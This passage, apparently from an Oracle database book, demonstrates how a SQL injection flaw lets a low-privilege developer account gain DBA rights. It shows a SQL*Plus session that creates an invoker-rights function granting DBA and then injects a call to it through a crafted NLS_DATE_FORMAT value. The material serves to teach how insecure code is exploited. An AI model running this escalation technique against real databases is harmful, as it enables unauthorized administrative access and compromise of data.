Database Reference
In-Depth Information
the account exploiting this bug has CREATE PROCEDURE , that stored procedure allows him to execute any command
that EODA could execute! To see this, we'll grant CREATE PROCEDURE to the schema, as follows:
DEVACCT@ORA12CR1> connect eoda/foo
Connected.
EODA@ORA12CR1> grant create procedure to devacct;
Grant succeeded.
EODA@ORA12CR1> connect devacct/foobar;
Connected.
Note
this example assumes that the user EODA has been granted the DBa role with the aDMin option.
And then as the developer, we'll create a function that grants DBA . There are two important facts about this
function: it is an invoker rights routine , meaning that it will execute with the privileges granted to the person executing
the routine, and it is a pragma autonomous_transaction routine , meaning that it creates a subtransaction that will
commit or rollback before the routine returns, therefore making it eligible to be called from SQL. Here is that function:
DEVACCT@ORA12CR1> create or replace function foo
2 return varchar2
3 authid CURRENT_USER
4 as
5 pragma autonomous_transaction;
6 begin
7 execute immediate 'grant dba to devacct';
8 return null;
9 end;
10 /
Function created.
Now all we have to do is “trick” EODA (a DBA that can grant DBA to others) into running this function. Given what
we've done to exploit the SQL injection flaw, this is easy. We'll set our NLS_DATE_FORMAT to include a reference to this
function and grant execute on it to EODA :
DEVACCT@ORA12CR1> alter session set
2 nls_date_format = '"''union select devacct.foo from dual--"';
Session altered.
DEVACCT@ORA12CR1> grant execute on foo to eoda;
Grant succeeded.
 
Search WWH ::




Custom Search